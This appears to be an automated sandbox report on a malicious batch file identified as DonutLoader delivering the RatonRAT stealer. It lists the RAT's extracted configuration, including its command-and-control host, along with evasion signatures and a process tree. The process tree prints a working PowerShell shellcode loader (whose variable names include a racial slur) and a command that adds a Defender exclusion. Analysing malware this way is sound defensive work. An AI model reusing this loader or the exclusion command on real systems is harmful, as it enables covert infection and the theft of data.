Analysis
- max time kernel
148s - max time network
145s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260618-en - resource tags
- submitted
21/06/2026, 12:55
General
- Target mfrmfral.bat
- Size 3.8MB
- Sample260621-p52ekset2s
- SHA256 f710fb64a042409d4e095eb62b87815f4dffd26728c8a6471e7cd5b444749660
Malware Config
Extracted
-
ratonrat
-
Professional
-
portbuddy.dev:42773
-
FlG4QASUas2qgKSJSgrWhhS
-
assist
true
-
box
false
-
box_icon
Error
-
box_msg
I'm the message box description
-
box_title
Hello World
-
defender
true
-
delay
0
-
hide_file
true
-
open_website
false
-
process_critical
false
-
raw
silly21
-
reconnect
3
-
startup
true
-
tag
Infected
-
uac
true
-
vm
true
-
website
https://t.me/example
Signatures
- Family: DonutLoader
DonutLoader is a position-independent code that enables in-memory execution of VBScript, JScript, EXE, DLL files and dotNET assemblies.
- Family: RatonRAT
RatonRAT is an information stealer written in C#.
- Detects DonutLoader 1 IoCs
- Detects RatonRAT payload 1 IoCs
- Looks for VirtualBox Guest Additions in registry 2 TTPs 1 IoCs
- Badlisted process makes network request 2 IoCs
Network request originating from process or tool commonly abused by malware.
- Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
- Looks for VMWare Tools registry key 2 TTPs 1 IoCs
- Checks BIOS information in registry 2 TTPs 1 IoCs
BIOS information is often read in order to detect sandboxing environments.
- Loads dropped DLL 50 IoCs
- Maps connected drives based on registry 3 TTPs 2 IoCs
Disk information is often read in order to detect sandboxing environments.
- System Location Discovery: System Language Discovery 1 TTPs 3 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Suspicious behavior: EnumeratesProcesses 6 IoCs
- Suspicious use of AdjustPrivilegeToken 24 IoCs
- Suspicious use of WriteProcessMemory 4 IoCs
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\mfrmfral.bat"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeC:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -c $lines = [System.IO.File]::ReadAllText('C:\Users\Admin\AppData\Local\Temp\mfrmfral.bat').Split([Environment]::NewLine); foreach ($line in $lines) { if ($line.Length -notmatch 0) { if ($line.SubString(0,3) -match 'HMM') { $bytes = $line.SubString(3); $bytes = [Convert]::FromBase64String($bytes);break; } } }$lol = 'using System;using System.Runtime.InteropServices;public class Goon{[DllImport(\"kernel32.dll\")]private static extern IntPtr VirtualAlloc(IntPtr address, IntPtr size, int allocationType, int protect);[DllImport(\"kernel32.dll\")]private static extern IntPtr CreateThread(IntPtr threadAttributes, uint stackSize, IntPtr startAddress, IntPtr parameter, uint creationFlags, out uint threadId);[DllImport(\"kernel32.dll\")]private static extern uint WaitForSingleObject(IntPtr handle, uint milliseconds);public static void Run(byte[] shellcode){IntPtr nigga = VirtualAlloc(IntPtr.Zero, (IntPtr)shellcode.Length, 0x1000, 0x40);Marshal.Copy(shellcode, 0, nigga, shellcode.Length); uint oldNigga;IntPtr thread = CreateThread(IntPtr.Zero, 0, nigga, IntPtr.Zero, 0, out oldNigga);WaitForSingleObject(thread, 0xffffffff);}}';Add-Type -TypeDefinition $lol;[Goon]::Run($bytes);2⤵
- Looks for VirtualBox Guest Additions in registry
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Looks for VMWare Tools registry key
- Checks BIOS information in registry
- Loads dropped DLL
- Maps connected drives based on registry
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\ci1srqo2\ci1srqo2.cmdline"3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES73F3.tmp" "c:\Users\Admin\AppData\Local\Temp\ci1srqo2\CSC92E83BFEBCD1452CA532E645FC7BA4EE.TMP"4⤵
-
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -NonInteractive -WindowStyle Hidden -ExecutionPolicy Bypass "Add-MpPreference -ExclusionProcess 'C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe'"3⤵
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
aforge.dll
aforge.video.directshow.dll
aforge.video.dll
costura.dll
microsoft.win32.registry.dll
naudio.asio.dll
naudio.core.dll
naudio.dll
naudio.midi.dll
naudio.wasapi.dll
naudio.winforms.dll
naudio.winmm.dll
newtonsoft.json.dll
stuff.dll
system.buffers.dll
system.memory.dll
system.numerics.vectors.dll
system.resources.extensions.dll
system.runtime.compilerservices.unsafe.dll
system.security.accesscontrol.dll
system.security.principal.windows.dll
RES73F3.tmp
__PSScriptPolicyTest_ci35kn0t.rgy.ps1
ci1srqo2.dll
CSC92E83BFEBCD1452CA532E645FC7BA4EE.TMP
ci1srqo2.0.cs
ci1srqo2.cmdline
memory/2796-157-0x0000000074C60000-0x000000007541C000-memory.dmp
memory/2796-180-0x0000000074C60000-0x000000007541C000-memory.dmp
memory/2796-177-0x0000000007900000-0x0000000007996000-memory.dmp
memory/2796-176-0x0000000007700000-0x000000000770A000-memory.dmp
memory/2796-175-0x0000000007540000-0x00000000075E3000-memory.dmp
memory/2796-174-0x00000000074E0000-0x0000000007500000-memory.dmp
memory/2796-166-0x0000000007500000-0x0000000007536000-memory.dmp
memory/2796-167-0x0000000070E80000-0x0000000070ECC000-memory.dmp
memory/2796-158-0x0000000074C60000-0x000000007541C000-memory.dmp
memory/2796-159-0x0000000074C60000-0x000000007541C000-memory.dmp
memory/5584-16-0x0000000005CB0000-0x0000000005CFC000-memory.dmp
memory/5584-156-0x0000000074C60000-0x000000007541C000-memory.dmp
memory/5584-14-0x0000000005760000-0x0000000005ABB000-memory.dmp
memory/5584-146-0x0000000007C90000-0x0000000007C9A000-memory.dmp
memory/5584-142-0x00000000081D0000-0x000000000878A000-memory.dmp
memory/5584-7-0x0000000005630000-0x0000000005696000-memory.dmp
memory/5584-6-0x00000000055C0000-0x0000000005626000-memory.dmp
memory/5584-5-0x0000000004EB0000-0x0000000004ED2000-memory.dmp
memory/5584-4-0x0000000074C60000-0x000000007541C000-memory.dmp
memory/5584-3-0x0000000004F00000-0x000000000554A000-memory.dmp
memory/5584-2-0x0000000074C60000-0x000000007541C000-memory.dmp
memory/5584-1-0x00000000027A0000-0x00000000027D6000-memory.dmp
memory/5584-153-0x0000000074C60000-0x000000007541C000-memory.dmp
memory/5584-154-0x0000000074C72000-0x0000000074C73000-memory.dmp
memory/5584-155-0x0000000074C60000-0x000000007541C000-memory.dmp
memory/5584-152-0x0000000007D50000-0x0000000007DE2000-memory.dmp
memory/5584-15-0x0000000005C60000-0x0000000005C7E000-memory.dmp
memory/5584-36-0x0000000074C60000-0x000000007541C000-memory.dmp
memory/5584-17-0x00000000074C0000-0x0000000007B3C000-memory.dmp
memory/5584-18-0x0000000006E60000-0x0000000006E7A000-memory.dmp
memory/5584-0-0x0000000074C72000-0x0000000074C73000-memory.dmp
memory/5584-31-0x0000000006EA0000-0x0000000006EA8000-memory.dmp
memory/5584-32-0x0000000006F10000-0x00000000071E7000-memory.dmp
memory/5584-33-0x0000000074C60000-0x000000007541C000-memory.dmp
memory/5584-34-0x00000000091F0000-0x00000000094C6000-memory.dmp
memory/5584-35-0x0000000074C60000-0x000000007541C000-memory.dmp
memory/5584-181-0x0000000007E30000-0x0000000007E3A000-memory.dmp
memory/5584-182-0x0000000008790000-0x000000000882C000-memory.dmp
memory/5584-186-0x0000000008830000-0x00000000088E4000-memory.dmp
memory/5584-195-0x0000000008940000-0x000000000894A000-memory.dmp
memory/5584-204-0x0000000008B10000-0x0000000008B42000-memory.dmp
memory/5584-210-0x0000000008B50000-0x0000000008B6A000-memory.dmp